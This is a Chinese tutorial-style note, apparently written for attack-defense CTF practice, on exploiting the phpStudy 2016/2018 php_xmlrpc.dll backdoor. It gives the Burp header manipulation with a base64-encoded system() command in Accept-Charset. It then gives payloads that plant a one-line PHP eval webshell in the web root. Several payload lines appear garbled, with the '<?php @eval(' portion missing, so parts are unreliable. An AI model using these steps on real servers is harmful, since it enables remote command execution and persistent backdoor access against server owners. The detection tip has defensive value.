phpstudy后门漏洞复现

笔记

前言

如果服务器是用phpstudy2016或phpstudy2018搭建的,那么就有可能存在后门

发现漏洞

后门代码在phpStudy2016和phpStudy2018的php-5.2.17或php-5.4.45的\ext\php_xmlrpc.dll文件中
只要该文件中可以搜索到@eval(%s(‘%s’)),即证明漏洞存在
phpStudy2016路径

php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018路径

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dl

后门利用

(1)访问目标服务器url时,用bp抓包
(2)找到accept-encoding: gzip, deflate,把逗号后面的空格删掉,改为accept-encoding: gzip,deflate,然后在accept-encoding: gzip,deflate这行前面或后面加上一行accept-charset:c3lzdGVtKCdkaXInKTs=,然后发送(这里的c3lzdGVtKCdkaXInKTs=是经过base64加密的)
phpstudy后门漏洞复现_第1张图片
这里以windows举例:
此时可以向目标服务器写入一句话
(1)dir:查看当前目录下的内容,可以一层层查看,最后找到WWW目录所在,将一句话写入
(2)chdir:查看当前所在目录,类似于linux中的pwd
(3)利用bp向目标系统指定位置写一句话木马,^表示写入特殊字符,例如<或>。写入后xx.php内容为:
payload:

echo ^<?php @eval($_REQUEST[cmd]);?^> > xx.php

(4)利用bp向目标系统指定位置写一句话木马,这个不同的是,没有用到^,写入后xx.php内容为"",但有"也可使用蚁剑连接
payload:

echo "$_REQUEST[cmd]);?>" > xx.php
注: echo '$_REQUEST[cmd]);?>' > xx.php,也可,写入后为<?php @eval($_REQUEST[cmd]);?>

(5)假设目标服务器使用的是phpstudy2018,最后那么payload就是

system('echo ^$_REQUEST[cmd]);?^> > C:\phpStudy\PHPTutorial\WWW\xx.php');
或
system('echo "$_REQUEST[cmd]);?>" > C:\phpStudy\PHPTutorial\WWW\xx.php');

注:下面写法会报错,主要由于""中的变量会执行,上面可以是因为system里的整体是’’,表示该整体是字符串
所以system执行时,最好使用’’,包含php的代码的也最好是’'包括

system("echo '$_REQUEST[cmd]);?>' > C:\phpStudy\PHPTutorial\WWW\xx.php");

而如果使用

system("echo \"$_REQUEST[cmd]);?>\" > C:\phpStudy\PHPTutorial\WWW\xx.php");

最后xx.php中为"",也是""引起的问题

你可能感兴趣的:(AWD)